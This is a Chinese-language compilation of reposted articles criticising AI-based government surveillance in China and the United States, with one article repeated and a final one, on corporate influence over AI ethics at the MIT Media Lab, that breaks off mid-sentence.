> 在新疆清真寺中使用人脸识别技术是为了控制进入条件。该技术使当局能够迅速识别被列入黑名单的成人和青年，并阻止他们进入清真寺。该技术还允许政府保存更多的系统数据，包括谁来了、进出的频率等等，将任何反对政府的态度和个人列入禁止名单。

罗斯赫尔曼理工学院的另一位新疆专家、中国研究教授 Timothy Grose 说，他听说过其他城市，如乌鲁木齐，也为清真寺入口配备了面部识别摄像头。

该项目被“机密”处理

海康威视公司拒绝就此报道发表评论。

然而，海康威视此前告诉法新社，尽管进行了省级债务审查，但仍在继续推行墨玉项目。它拒绝提供进一步的细节，声称该项目是“机密”。（此前有报道说，DaHua 和海康威视在过去两年中已经赢得了超过 **10** 亿美元的新疆监视系统项目）

事实上，在欧盟，**GDPR** 的第 **9** 条禁止面部识别等生物识别处理技术。但也确实将当局声称的“公共利益”作为例外处理了; 不过规定了监视数据必须“尊重数据保护权的本质，并提供适当和具体的措施，以保护数据主体的基本权益”。

延伸阅读：当局的“公共利益”例外，相当于令面部识别技术的管制完全失效，原因请见这篇调查报告《"//是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？//"》

美国的大型科技公司对美国监控技术的兴趣也在增加。微软和亚马逊为警方甚至军方提供大规模监视系统—人脸识别技术，已经在过去的几个月内饱受抨击。

在中国这种一党专制的国家里，几乎没有机会对面部识别系统作出有效的限制。

原文

来自中国和美国的政府监视：7个危险的用例 - iyouport

关于高堡奇人老大哥的真面目

【2019年11月5日存档】人们经常会用文化差异来强调灾难的可能或不可能、以及程度，也许有一定的道理，比如以顺从为美德的文化会令邪恶更快速地膨胀。但邪恶本身的产生与文化并无关系，而是权势固有的对掌控一切的欲望……

毫无疑问，“人工智能政府监控”的谷歌搜索结果中有很多涉及中国。

人们的共识是，中国不仅在人工智能研究中追赶或超越美国，而且，对于使用人工智能令政府实现对自己的人民无限监视的权力方面是非常开放的。

虽然它可能是地球上最具侵略性的监视状态 —— 但中国并不是唯一一个将 AI 用于监视目的的国家 —— 本文将探索和对比中国和美国监控技术新的和独特的用途、以及人工智能在全球的间谍应用。

美国在政府监视方面有着悠久的历史，从1928年开始就是窃听大国。

许多人还记得2013年国家安全局举报人 Edward Snowden 的惊人揭露。其实在监视的历史上那不是新鲜事。

推荐一本书《美国间谍、和匿名真相》。

此外在这里看到完整版揭露文件《互联网霸主的时间线》；以及为什么揭露并没能阻止监视的继续（并且部分还升级了）《6年，改变了什么？》

在俄罗斯、英国和澳大利亚以及阿联酋，政府监视的威胁也越来越受到关注。

与大多数技术一样，人工智能同时具有优点和缺点，并且如果能通过

正确的应用，可以证明其超过成本的效益。

在这里看到一本书的介绍，关于为什么平衡监视和安全非常难《在正反乌托邦之间》

然而，人工智能技术通常难以规范，因此误用和滥用是一个真正的问题。

视频监控是基于人工智能的政府监控的最普遍和众所周知的用途。

无论是通过闭路电视摄像机（CCTV）还是无人机，如今每个人都知道，几乎在任何时候都有一只眼睛在看着你，特别是在公共场所和机场等区域。

今天的监控技术有很多种形式 —— 远远超出商场或机场的固定摄像头。

本文将探索全球普遍存在的七个特定的、独特的AI监控用例：

- 机器鸟
- 智能眼镜
- 支持AI的随身摄像头
- EEG头带
- 带监视器的制服
- 腕带
- 社会信用评分

首先介绍的是本列表中一个相比下更独特的用例：

机器鸟

虽然人们广泛地讨论了机器人和无人机作为秘密民事监视工具的问题，但在这件事上，机器鸟是一个纯粹的小聪明。

一些看起来像鸟、移动状态也像鸟的东西，但是这种鸟的工作就是盯着所有人。

鸟可以无处不在，大多数人都没有给予它们太多的关注。这一事实引起了人们对使用鸟形监视器的兴趣。

如今说起来，这不是新鲜事。

自2011年推出以来，机器鸟已经能够自主并在空中停留超过几分钟，其中 **Festo** 公司的 **Smartbird** 看起来可以像鲱鱼一样灵活移动。

中国西安工业大学的顶尖科学家团队恰当地称其为鸽子项目，由 Song Bifeng 领导，开发了这种鸟形的无人机，可在中国的多个地区部署，特别是新疆地区。虽然该计划仍处于早期阶段，

但该团队认为："这种监视在满足军用和民用领域对无人机的需求方面具有一些独特的优势。" 特别是这些无人机的能力：甚至通过雷达也很难发现。

以下是解析图：

据报道，美国陆军在2013年就投资了鸟形无人机技术，从 **Prioria Robotics** 购买了名为 **Maveric** 的30个微型无人机。

并且，美国的机器鸟比中国"鸽子"更加厚实，一家公司声称中国那种监视鸟总体上是一个不合格的产品。

此后美国方面的研发就没有详细消息了。

最后一次看到这种空中无人机监视是在纽约市新年庆祝活动期间 —— 这场活动被雨水挫败了。

智能眼镜

政府监视其公民的另一种方式是通过配备面部识别软件的"智能"眼镜来扫描面部，并将其与数据库进行快速匹配。

这些增强现实（AR）眼镜（例如 AR Boss Smart Glasses Techlens T2）由 Xloong 开发，为执法部门提供了一种快速巡视大规模人群的方法。

随着中国计划建立一个14亿公民的面部识别数据库，这种眼镜绝对是应运而生的。

以下是 Xloong AR 眼镜的运动版：

据报道，这种智能眼镜在东南亚国家和美国都有广泛的使用。

而且，这种技术已在美国上市。

实际上，向中国执法部门提供 **AR** 产品 **GLXSS** 的 **LLVision** 公司，与商业上不太成功的 **Google Glass** 非常相似，后者偶然会作为企业产品而不是消费产品卷土重来。

在这里看到为什么这种东西非常值得警惕《一个愚蠢带来的启示》。

支持**AI**的身体摄像头

可穿戴式监控技术以及车载监视摄像头在马来西亚首次亮相。

Auxiliary Force Sdn. Bhd. (AFSB) 与 YITU Technology 达成协议，为他们提供可以使用面部识别技术寻找任何目标人的视频系统。

AFSB 首席执行官 Dato'Rosmadi Bin Ghazali 表示："这是我们迈出的重要一步，因为我们利用人工智能来提高公共安全和保障。"

然而，与中国不同，AFSB面部识别系统分析捕获的镜头而不是实时的监视，尽管**AFSB**已经有计划将其扩展到实时监视的方向。

而美国至少有一家执法机构已知已经在以类似的方式使用了亚马逊的面部识别系统 **Rekognition**。

警察使用该系统在线整理视频和图像、车载监视、以及从其他来源查找任何感兴趣的人并与数据库相匹配。

虽然对于识别犯罪分子的目标来说显然非常有用，但是，准确性和种族肤色相关的偏颇问题会继续限制其在执法中的广泛使用。

"华盛顿邮报"播放了一段视频，关于 Rekognition 系统的执法用途，以及由此产生的有关隐私问题。

华尔街日报在下面的简短视频中总结了中国不断增长的监控技术：

中国也开始在其学校教室中使用了面部识别技术和计算机视觉，使学生在小小年纪时就开始接受监视，中国声称此举是鼓励学生在课堂上集中注意力：

无论如何，用于政府监视的人工智能技术只会激增，因为这些用例（在机场、学校、购物中心）从经济或安全角度均获得了强大的牵引力，并被证明是有价值的 —— 虽然，显然仅仅有利于1%的特权阶层。

在这里看到其“经济牵引力”：《在中国：致富的捷径》。

脑波头带

人工智能可穿戴技术的一个有趣发展是脑波监测。

仅北美就拥有数十家 EEG 创业公司 —— 包括 Muse、Thync 等品牌。

这些品牌中的大多数都声称可以辅助某种情绪控制（例如帮助专注或冥想），但是，其他品牌则作为脑机接口实验的开放平台。

延伸，关于脑机接口《超级战士：DARPA 想要制造精神控制的战争武器》。

中国政府批准了在员工身上使用大脑监测设备，以捕获情绪和其他大脑活动的数据。

员工被要求佩戴由 Deayea Technology Co.，Ltd 开发的带传感器和专用相机的头带，被称为“情绪监视”。

该项目的目标是培训操作员、军事人员、某些部门的生产工人，以及在未来针对学童，声称提高生产力和效率。

总部位于美国的 **BrainCo** 公司计划为中国的一项试点研究提供名为 **Focus** 的监视脑部活动的头带。他们声称为“帮助教师识别可能需要额外帮助的学生”。

下面这个视频展示了 Focus 系统的工作原理：

制服

中国贵州省有10所学校制作了“智能校服”要求学生必须穿着。

整合到这些制服中的芯片能实时跟踪和识别学生，使父母、教师和其他权威能够随时了解孩子在哪以及在干什么。

然而，中国并不是唯一一个使用人工智能来监控学龄儿童的国家。

美国也是如此。

联邦政府资助的学校必须在学校的计算机上安装所谓的安全管理平台（SMP），如 Securly 和 GoGuardian，以监控学生的一举一动。

这些SMP使用自然语言处理来扫描学生们输入计算机的数百万个单词，以查找不良行为（欺凌）或有害行为（自我伤害）。

法国的一所学校也正在使用 Nestor 软件进行两个在线课程监视，以监视学生是否关注讲座。

在这里看到至少一个案例介绍《监狱式教学》。

以下是 GoGuardian 的1分钟宣传视频，重点介绍了教师的价值主张，并回顾了其基本功能 —— 请注意这是宣传片：

腕带

然而，学生并不是受到详细审查的唯一目标人群。

监狱囚犯也正在受到不断加深的监视，例如 监视大部分监狱的摄像机，包括牢房内。

在这里看到介绍（和视频）《AI警卫：机器人专制》。

下面是一段一分钟的视频，展示了监控技术在盐城监狱的运作方式：

这些技术当然可以与计算机视觉监视相结合，从而创造出更加严密的圆形监狱。

人工智能协助的“社会信用”评分

“黑镜”中有一集名为“Nosedive”，描述了一个社交评分的世界，眼球植入物和星级评定系统决定每个人能在这个世界中占有什么样的一席之地。

高星级评级意味着享有更多特权，而低星评级意味着成为弃儿。

虽然电视剧是讽刺性的，但是，社会信用评分计划 —— 中国政府正在制定的国家级声誉系统 —— 正在将一种奇怪的类似情景变成现实。

该计划背后的想法是基本治理：惩罚政府认为的坏，奖励政府认为的好。

两个月后该计划就会在中国全国铺开，但数十个试点计划近年来一直在收集数据，以使该监控系统更具响应性。

正如所预料的那样，来自社交媒体和其他在线活动的数据肯定会成为该“评分”参数的一部分。

延伸：《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》；《您不应该在社交媒体上说什么》；《如何自由地表达而不必担心被捕：使用社交媒体的注意事项》。

如此全面地扫描每个人的私密个人信息当然是非常令人恐惧的，尤其是它掌握在专制国家的手中时。

并且，用于确定排名的算法也完全没有透明度。从一个非常真实的意义上说，政府可以完全控制一个人的社会经济是成功还是失败。

France 24 从中国公民的角度制作了一个4分钟的视频，探索社会评分系统：

政府追求让14亿人保持一致虽然表面上看起来很难，但中国的社会信用分数（加上更顺从的儒家文化）可能有助于执政党做到这一点。

包括 Emerj 创始人 Daniel Faggella 在内的一些专家认为，中国的监控技术将基于人工智能的监控提升到了一个新的“正常”水平 —— 很可能会将这些技术的更具侵入性的使用案例传播到西方国家。

包括英国在内的欧洲国家也正在考虑为其公民实施类似的评分计划，尽管调查结果显示大多数人（78%）或参与者认为这是一个坏主意。

简单说，现在只能寄希望于文化 —— 中国容易顺从，英国人不容易顺从 —— 而无法寄希望于取消该技术本身。

关于人工智能进行政府监视的结论

当权者永远会以所谓的“国家安全”为由要求1984。

然而，识别安全性和操控之间的细微差别并不总是容易的。

也就是说，必须有一条线将倡导与偏执真正切分。关键是在任何一种情况下都要达到适当的平衡，具体取决于具体情况。

英国和中国在许多当前用于政府监视的人工智能应用中占有突出地位，而且往往是负面的。

西方一些人甚至认为，当涉及到政府监视和数据保护的人工智能时，

中国对人工智能的最佳接触方式的“理解更好”。

正如丹尼尔·法格拉（Daniel Faggella）所指出的那样，“西方需要一种新战略来维持自身的价值观，并在国际舞台上展开竞争。如果西方希望确保其价值和繁荣继续下去，就必须不能违规”。

但是，正如文章开头所申明的，政府监视的最终可能性程度将取决于民间的反抗精神，而非对权势会否善意的期待。〇

原文

来自中国和美国的政府监视：7个危险的用例 - iYouPort

关于高堡奇人老大哥的真面目

人们经常会用文化差异来强调灾难的可能或不可能、以及程度，也许有一定的道理，比如以顺从为美德的文化会令邪恶更快速地膨胀。但邪恶本身的产生与文化并无关系，而是权势固有的对掌控一切的欲望……

「图」

「图」

毫无疑问，“人工智能政府监控”的谷歌搜索结果中有很多涉及中国。

人们的共识是，中国不仅在人工智能研究中追赶或超越美国，而且，对于使用人工智能令政府实现对自己的人民无限监视的权力方面是非常开放的。

虽然它可能是地球上最具侵略性的监视状态 —— 但中国并不是唯一一个将 AI 用于监视目的的国家 —— 本文将探索和对比中国和美国监控技术新的和独特的用途、以及人工智能在全球的间谍应用。

美国在政府监视方面有着悠久的历史，从1928年开始就是窃听大国。

许多人还记得2013年国家安全局举报人 Edward Snowden 的惊人揭露。其实在监视的历史上那不是新鲜事。

推荐一本书《美国间谍、和匿名真相》。

此外在这里看到完整版揭露文件《互联网霸主的时间线》；以及为什么揭露并没能阻止监视的继续（并且部分还升级了）《6年，改变了什么？》

在俄罗斯、英国和澳大利亚以及阿联酋，政府监视的威胁也越来越受

到关注。

与大多数技术一样，人工智能同时具有优点和缺点，并且如果能通过正确的应用，可以证明其超过成本的效益。

在这里看到一本书的介绍，关于为什么平衡监视和安全非常难《在正反乌托邦之间》

然而，人工智能技术通常难以规范，因此误用和滥用是一个真正的问题。

视频监控是基于人工智能的政府监控的最普遍和众所周知的用途。

无论是通过闭路电视摄像机（CCTV）还是无人机，如今每个人都知道，几乎在任何时候都有一只眼睛在看着你，特别是在公共场所和机场等区域。

今天的监控技术有很多种形式 —— 远远超出商场或机场的固定摄像头。

本文将探索全球普遍存在的七个特定的、独特的AI监控用例：

- 机器鸟
- 智能眼镜
- 支持AI的随身摄像头
- EEG头带
- 带监视器的制服
- 腕带
- 社会信用评分

首先介绍的是本列表中一个相比下更独特的用例：

机器鸟

虽然人们广泛地讨论了机器人和无人机作为秘密民事监视工具的问题，但在这件事上，机器鸟是一个纯粹的小聪明。

一些看起来像鸟、移动状态也像鸟的东西，但是这种鸟的工作就是盯着所有人。

鸟可以无处不在，大多数人都没有给予它们太多的关注。这一事实引起了人们对使用鸟形监视器的兴趣。

如今说起来，这不是新鲜事。

自2011年推出以来，机器鸟已经能够自主并在空中停留超过几分钟，其中 Festo 公司的 "Smartbird" 看起来可以像鲱鱼一样灵活移动。

中国西安工业大学的顶尖科学家团队恰当地称其为鸽子项目，由 Song Bifeng 领导，开发了这种鸟形的无人机，可在中国的多个地区部署，特别是新疆地区。虽然该计划仍处于早期阶段，

但该团队认为："这种监视在满足军用和民用领域对无人机的需求方面具有一些独特的优势。" 特别是这些无人机的能力：甚至通过雷达也很难发现。

以下是解析图：

「图」

「图」

据报道，美国陆军在2013年就投资了鸟形无人机技术，从 "Prioria Robotics" 购买了名为 "Maveric" 的30个微型无人机。

并且，美国的机器鸟比中国"鸽子"更加厚实，一家公司声称中国那种监视鸟总体上是一个不合格的产品。

此后美国方面的研发就没有详细消息了。

最后一次看到这种空中无人机监视是在纽约市新年庆祝活动期间 —— 这场活动被雨水挫败了。

智能眼镜

政府监视其公民的另一种方式是通过配备面部识别软件的"智能"眼镜来扫描面部，并将其与数据库进行快速匹配。

这些增强现实（AR）眼镜（例如 AR Boss Smart Glasses Techlens T2）由 Xloong 开发，为执法部门提供了一种快速巡视大规模人群的方法。

随着中国计划建立一个14亿公民的面部识别数据库，这种眼镜绝对是应运而生的。

以下是 Xloong AR 眼镜的运动版：

据报道，这种智能眼镜在东南亚国家和美国都有广泛的使用。

而且，这种技术已在美国上市。

实际上，"向中国执法部门提供" **AR** 产品 **GLXSS** 的 **LLVision** 公司，与商业上不太成功的 **Google Glass** 非常相似，后者偶然会作为企业产品而不是消费产品卷土重来。

在这里看到为什么这种东西非常值得警惕《一个愚蠢带来的启示》。

支持**AI**的身体摄像头

可穿戴式监控技术以及车载监视摄像头在马来西亚首次亮相。

Auxiliary Force Sdn. Bhd. (AFSB) 与 YITU Technology 达成协议，为他们提供可以使用面部识别技术寻找任何目标人的视频系统。

AFSB 首席执行官 Dato'Rosmadi Bin Ghazali 表示："这是我们迈出的重要一步，因为我们利用人工智能来提高公共安全和保障。"

然而，与中国不同，AFSB面部识别系统分析捕获的镜头而不是实时的监视，尽管**AFSB**已经有计划将其扩展到实时监视的方向。

而美国至少有一家执法机构"已知"已经在以类似的方式使用了亚马逊的面部识别系统 "Rekognition"。

警察使用该系统在线整理视频和图像、车载监视、以及从其他来源查找任何感兴趣的人并与数据库相匹配。

虽然对于识别犯罪分子的目标来说显然非常有用，但是，准确性和种族肤色相关的偏颇问题会继续限制其在执法中的广泛使用。

"华盛顿邮报"播放了一段视频，关于 Rekognition 系统的执法用途，以及由此产生的有关隐私问题。

华尔街日报在下面的简短视频中总结了中国不断增长的监控技术：

中国也开始在其学校教室中使用了面部识别技术和计算机视觉，使学生在小小年纪时就开始接受监视，中国声称此举是鼓励学生在课堂上集中注意力：

无论如何，用于政府监视的人工智能技术只会激增，因为这些用例（在机场、学校、购物中心）从经济或安全角度均获得了强大的牵引力，并被证明是有价值的 —— 虽然，显然仅仅有利于1%的特权阶层。

在这里看到其“经济牵引力”：《在中国：致富的捷径》。

脑波头带

人工智能可穿戴技术的一个有趣发展是脑波监测。

仅北美就拥有数十家 EEG 创业公司 —— 包括 Muse、Thync 等品牌。

这些品牌中的大多数都声称可以辅助某种情绪控制（例如帮助专注或冥想），但是，其他品牌则作为脑机接口实验的开放平台。

延伸，关于脑机接口《超级战士：DARPA 想要制造精神控制的战争武器》。

中国政府批准了在员工身上使用大脑监测设备，以捕获情绪和其他大脑活动的数据。

员工被要求佩戴由 Deayea Technology Co.，Ltd 开发的带传感器和专用相机的头带，被称为“情绪监视”。

该项目的目标是培训操作员、军事人员、某些部门的生产工人，以及在未来针对学童，声称提高生产力和效率。

总部位于美国的 "BrainCo" 公司计划为中国的一项试点研究提供名为 **Focus** 的监视脑部活动的头带。他们声称为“帮助教师识别可能需要额外帮助的学生”。

下面这个视频展示了 Focus 系统的工作原理：

制服

中国贵州省有10所学校制作了“智能校服”要求学生必须穿着。

整合到这些制服中的芯片能实时跟踪和识别学生，使父母、教师和其他权威能够随时了解孩子在哪以及在干什么。

然而，中国并不是唯一一个使用人工智能来监控学龄儿童的国家。

美国也是如此。

联邦政府资助的学校必须在学校的计算机上安装所谓的安全管理平台（SMP），如 Securly 和 GoGuardian，以监控学生的一举一动。

这些SMP使用自然语言处理来扫描学生们输入计算机的数百万个单词，以查找不良行为（欺凌）或有害行为（自我伤害）。

法国的一所学校也正在使用 Nestor 软件进行两个在线课程监视，以监视学生是否关注讲座。

在这里看到至少一个案例介绍《监狱式教学》。

以下是 GoGuardian 的1分钟宣传视频，重点介绍了教师的价值主张，并回顾了其基本功能 —— 请注意这是宣传片：

腕带

然而，学生并不是受到详细审查的唯一目标人群。

监狱囚犯也正在受到不断加深的监视，例如 监视大部分监狱的摄像机，包括牢房内。

在这里看到介绍（和视频）《AI警卫：机器人专制》。

下面是一段一分钟的视频，展示了监控技术在盐城监狱的运作方式：

这些技术当然可以与计算机视觉监视相结合，从而创造出更加严密的圆形监狱。

人工智能协助的“社会信用”评分

“黑镜”中有一集名为“Nosedive”，描述了一个社交评分的世界，眼球植入物和星级评定系统决定每个人能在这个世界中占有什么样的一席之地。

高星级评级意味着享有更多特权，而低星评级意味着成为弃儿。

虽然电视剧是讽刺性的，但是，社会信用评分计划 —— 中国政府正在制定的国家级声誉系统 —— 正在将一种奇怪的类似情景变成现实。

该计划背后的想法是基本治理：惩罚政府认为的坏，奖励政府认为的好。

两个月后该计划就会在中国全国铺开，但数十个试点计划近年来一直在收集数据，以使该监控系统更具响应性。

正如所预料的那样，来自社交媒体和其他在线活动的数据肯定会成为该“评分”参数的一部分。

延伸：《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》；《您不应该在社交媒体上说什么》；《如何自由地表达而不必担心被捕：使用社交媒体的注意事项》。

如此全面地扫描每个人的私密个人信息当然是非常令人恐惧的，尤其是它掌握在专制国家的手中时。

并且，用于确定排名的算法也完全没有透明度。从一个非常真实的意义上说，政府可以完全控制一个人的社会经济是成功还是失败。

France 24 从中国公民的角度制作了一个4分钟的视频，探索社会评分系统：

政府追求让14亿人保持一致虽然表面上看起来很难，但中国的社会信用分数（加上"更顺从的儒家文化"）可能有助于执政党做到这一点。

包括 Emerj 创始人 Daniel Faggella 在内的一些专家认为，中国的监控技术将基于人工智能的监控提升到了一个新的“正常”水平 —— 很可能会将这些技术的更具侵入性的使用案例传播到西方国家。

包括英国在内的欧洲国家也正在考虑为其公民实施类似的评分计划，尽管调查结果显示大多数人（78%）或参与者认为这是一个坏主意。

简单说，现在只能寄希望于文化 —— 中国容易顺从，英国人不容易顺从 —— 而无法寄希望于取消该技术本身。

关于人工智能进行政府监视的结论

当权者永远会以所谓的“国家安全”为由要求1984。

然而，识别安全性和操控之间的细微差别并不总是容易的。

也就是说，必须有一条线将倡导与偏执真正切分。关键是在任何一种

情况下都要达到适当的平衡，具体取决于具体情况。

英国和中国在许多当前用于政府监视的人工智能应用中占有突出地位，而且往往是负面的。

西方一些人甚至认为，当涉及到政府监视和数据保护的人工智能时，中国对人工智能的最佳接触方式的“理解更好”。

正如丹尼尔·法格拉（Daniel Faggella）所指出的那样，“西方需要一种新战略来维持自身的价值观，并在国际舞台上展开竞争。如果西方希望确保其价值和繁荣继续下去，就必须不能违规”。

但是，正如文章开头所申明的，政府监视的最终可能性程度将取决于民间的反抗精神，而非对权势会否善意的期待。〇

原文

科技寡头如何操纵学术界以延续隐性专制？ - iYouPort

公私监控伙伴关系老大哥的真面目

从大规模监控到算法暴政，从维稳到杀人，他们在竭尽全力让自己看起来合理合法 ……

「图」

「图」

如果您了解中国高校中一些著名教授目前致力于从事的所谓 “**AI**道德” 研究，您将会理解，本文为什么应该是一种警告。

麻省理工学院媒体实验室前主任伊藤穰一（Joichi Ito）的道德丑闻中最具讽刺意味的是，他曾领导过有关道德的学术倡议。

在被指控与年仅14岁的未成年少女的性交易后，伊藤辞去了麻省理工学院的多个职务、哈佛法学院的客座教授职务、以及约翰·D·凯瑟琳·麦克阿瑟基金会和约翰·S·詹姆斯·奈特基金会的董事会成员职务，还有纽约时报公司的职务。

伊藤作为人工智能伦理学家的影响力使许多围观者感到困惑。

确实，他的倡议对于建立如今在学术界和主流媒体中普遍存在的所谓 “道德AI” 的语话至关重要。2016年，时任总统奥巴马将他描述为AI和道德方面的“专家”。

自2017年以来，伊藤通过2700万美元的 “AI道德与治理基金” 为许多项目提供了资金，该倡议由MIT媒体实验室和哈佛大学伯克曼·克莱因互联网与社会研究中心共同发起。

关于 “道德” 的真正语话到底应该是什么？

在14个月的时间里，我在媒体实验室的伊藤人工智能伦理小组中担任

研究员。伊藤发表了关于他与爱泼斯坦的联系的最初“道歉”，他在那次致歉中承认接受了金融家的资助，包括媒体实验室和伊藤的外部风险基金。

受举报人 Signe Swenson 和其他发表讲话的人的启发，我决定报告我从中所了解到的有关伊藤在塑造AI伦理学领域中的作用的知识，因为这是公众关心的问题。

这个领域是最近出现的现象，因为过去的AI研究人员对伦理学研究基本上不感兴趣。

一位前媒体实验室的同事回忆说，麻省理工学院已故的AI先驱 Marvin Minsky 曾经说过：“伦理学家就是对您所想的一切都有疑问的人。” 那么。为什么AI研究人员突然开始谈论道德？

在媒体实验室，我了解到，伊藤大力倡导的 **“道德AI”** 的论述在战略上与硅谷寡头努力避免有争议的技术在法律上的可实施性的限制，基本一致。

这项工作背后的一个关键小组在加利福尼亚州提出了政策建议，该建议与我和几位实验室同事进行的研究结论相矛盾，这项研究使我们反对使用计算机算法来决定是否监禁待审人员。

伊藤本人最终在与财务和技术主管举行的非公开会议上抱怨说，该小组的建议等同于 “粉饰” 一个棘手的道德问题。他向一位亿万富翁透露说：“他们淡化了我们试图说的东西，以防止在看管决定中使用看起来不太有效的算法”。

我还看到：麻省理工学院帮助军方摆脱了无人机战争的道德争议、主持前国务卿兼臭名昭著的战犯亨利·基辛格谈人工智能和道德问题的会议，并为美国国防部的 “ **AI**伦理原则 ”提供作战方面的投入，其中包含 “允许偏差的” 算法，并避免使用 “公平” 一词，因为五角大楼认为 “战斗不应该是公平的”。

伊藤未回复置评请求。

「图」

「图」

Joichi Ito, then-director of MIT Media Lab, speaks during a press conference in Tokyo on July 8, 2016. Photo: Akio Kon/Bloomberg/

Getty Images

麻省理工学院（MIT）认为，当行业面临越来越多的批评并需要法律监管时，寡头技术公司可以自己监管自己对人工智能的使用。

而仅在2018年，就出现了多项著名的争议：2018年3月，Facebook的剑桥分析公司丑闻利用了超过5000万用户的私人数据; Google 与五角大楼签订了用于战区的计算机视觉软件的合同；5月，亚马逊向警察部门出售面部识别技术；微软与美国移民和海关执法局的合同于6月公布；以及9月透露的IBM与纽约警察局秘密合作在视频监视录像中采取的面部识别和种族识别技术。

在 #TechWontBuildIt 的口号下，这些公司的数千名工人组织了抗议活动，并散发了反对此类合同的请愿书。

从 #NoTechForICE 到 ＃Data4BlackLives，一些基层运动要求对使用计算机技术的某些行为进行法律限制（例如，禁止警察使用面部识别）。

同时，这些寡头公司试图将讨论重点转移到自愿的 “道德原则”、所谓的 “负责任的做法” 、以及以 “公平” 为框架的技术调整或 “保障”（例如，要求或鼓励警察采用“无偏见”或“公平” 的面部识别技术）。总之就是想方设法维护监视的生命力。

2018年1月，Microsoft 从所谓的 “公平” 开始发布了AI的 “道德原则”。 然后去年5月，Facebook 宣布了 “对AI的道德发展和部署的承诺”，以及一种 “寻找偏见” 的工具，称为 “Fairness Flow”。

然后6月，Google 发布了AI研究与开发的 “负责任做法”。 9月，IBM 又发布了一个名为 “ AI Fairness 360” 的工具，该工具被称为旨在 “检查数据集和机器学习模型中是否存在不必要的偏见”。

2019年1月，Facebook 拨款750万美元用于在德国慕尼黑建立所谓的AI道德中心。然后3月，亚马逊与美国国家科学基金会共同赞助了一项2,000万美元的计划，自称旨在 “人工智能的公平性”。

在选拔右翼遗产基金会的反跨性别总裁 Kay Coles James 后，Google 于4月取消了AI伦理委员会。

这些寡头公司的举措经常引用伊藤至少通过麻省理工学院-哈佛基金资助的学术研究。

为了刻画公司议程，在给定技术中区分三种“监管”可能性会很有帮助：#根本没有法律法规，仅将“道德原则”和所谓的“负责任做法”留为自愿；

- 适度的法律法规，鼓励或要求与利润没有明显冲突的技术调整；
- 真正限制或禁止使用该技术的法律法规。

1. 寡头公司为什么拥护政府监管《拥护的背后》

- 《禁止面部识别可以做到什么、不能做到什么》

☞因此，硅谷大力推广的所谓“道德AI”已经构成了一项战略游说活动，这项努力已经招募学术界，以使其合法化。

伊藤在公司学术交流中发挥了关键作用，他还定期与技术主管会面。

这个 **MIT-Harvard** 基金的首任负责人曾是 **Google AI** 的“全球公共政策负责人”。伊藤和他的同事们通过该基金赞助了许多项目，包括在计算机科学领域建立一个关于“公平、问责和透明度”的著名会议。请注意，该会议的其他赞助商全部是监视资本家技术寡头包括 **Google**、**Facebook** 和 **Microsoft**。

尽管自2016年以来，硅谷的游说努力明显巩固了学术界对所谓的“道德AI”和“公平算法”的兴趣，但是，早在多年前就出现了关于这些主题的少量论文，即使框架不同。

例如，微软计算机科学家在2012年就发表了可以称得上是“算法公平”领域的论文。2016年，该论文的主要作者 Cynthia Dwork 成为哈佛大学计算机科学教授，并同时继续在微软任职。

当我于2017年在哈佛大学学习密码学和统计学的数学基础课程时，我采访了她，问她如何对研究所谓公平的算法定义感兴趣。

她长期以来一直关注歧视性广告的问题，但是 Microsoft 经理鼓励她从事这一工作，因为该公司正在开发一种新的在线广告系统，并且提供的服务在经济上是有利的。“没有监管问题。”

☞在麻省理工学院和哈佛大学采取了初步措施之后，其他许多大学和新机构也从科技行业获得了资金，用于开展所谓的**AI**伦理学研究。

⚠大多数此类组织还由科技公司现任或前任高管直接领导。例如，数

据与社会研究所由微软研究人员领导，最初由微软资助；纽约大学的 AI Now 研究所是由另一位微软研究员共同创立的，部分由微软、谷歌和 DeepMind 资助；斯坦福大学的AI研究所由 Google 的前副总裁共同领导；加利福尼亚大学伯克利分校数据科学部由微软资深人士领导；麻省理工学院 Schwarzman 计算学院由亚马逊董事会成员领导 ……

在媒体实验室工作期间，伊藤与所有这些组织的高管和规划人员保持着频繁的联系。

「图」

「图」

Illustration: Yoshi Sodeoka for The Intercept

事实证明，寡头企业的财路与诚实的道德探索相矛盾，至少从我在那个所谓的 “人工智能造福人民和社会的合伙企业” 项目中的经验来看。该项目是由 **Microsoft**、**Google / DeepMind**、**Facebook**、**IBM** 和 **Amazon** 在**2016**年成立的小组。

媒体实验室成员将这个合伙企业定义为 “多利益相关方团体”，并声称其 “不是游说组织”。

但是，即使该合伙企业的活动可能未达到要求注册为游说者的法律门槛（例如，通过直接影响当选官员的选票），他们当然也在试图影响立法。

2018年12月，我和媒体实验室的三位同事对该合伙企业影响立法的努力提出了严肃的异议。我们注意到，他们的政策建议与寡头公司的议程高度一致。

我们的研究导致我们强烈反对在刑事案件中采用风险评估工具，并拒绝提议的技术调整，这些调整自称使其 “无偏见” 或 “公平”。

但是，正如同事在发送给伊藤和其他人的内部电子邮件中所说的那样，该合伙企业的草案似乎是 “通过强调该问题为技术性问题，来规避道德问题”。

更糟糕的是，该合伙企业的建议与反对监视扩张的基层组织的努力完全不匹配，这些组织包括 Black Lives Matter 运动、废除监狱的组织 Critical Resistance（我自愿参加）、以及 Immigrant Youth

Coalition 组织等。

基层联盟认为："任何风险评估工具都忽略了当前和过去警务实践中的种族偏见。" 有充分的理论和经验依据可支持这一说法，因为风险评估通常基于逮捕、定罪或监禁的数据，所有这些数据都不足以代表个人行为或倾向。

联盟指出："最终，风险评估工具会形成种族特征、审判前拘留和定罪的反馈回路。一个人的自由不应沦为被一种算法所决定。"

2018年12月，我和我的同事敦促伊藤退出该合伙企业。我争辩说："如果学术组织和非营利组织希望有所作为，唯一可行的策略是退出PAI，并通过反对联盟发表公开声明。"

然后一位同事提出："还有许多其他组织在刑事司法的预测分析领域做着更多实质性和变革性的工作 —— 拿我们现在支持 PAI 的资金去支持他们如何？"

我们相信伊藤拥有足够的自主权，因为 **MIT-Harvard** 基金主要由 **Knight** 基金会支持，即使大部分资金来自 **eBay** 创始人 **Pierre Omidyar**，**Omidyar Network** 以及 **LinkedIn** 创始人硅谷人脉王 **Reid Hoffman** 和 **Microsoft** 董事会成员。

伊藤确实承认了这个问题。他刚从对冲基金巨头 Two Sigma 联合主席、麻省理工学院成员 David Siegel 那里收到消息。

Siegel 建议为硅谷的 "搜索和社交媒体" 公司提出一种自我监管的结构，以 FINRA 为模型，这是一家私人公司，是华尔街证券公司的自律组织。伊藤回应了 Siegel 的提议，

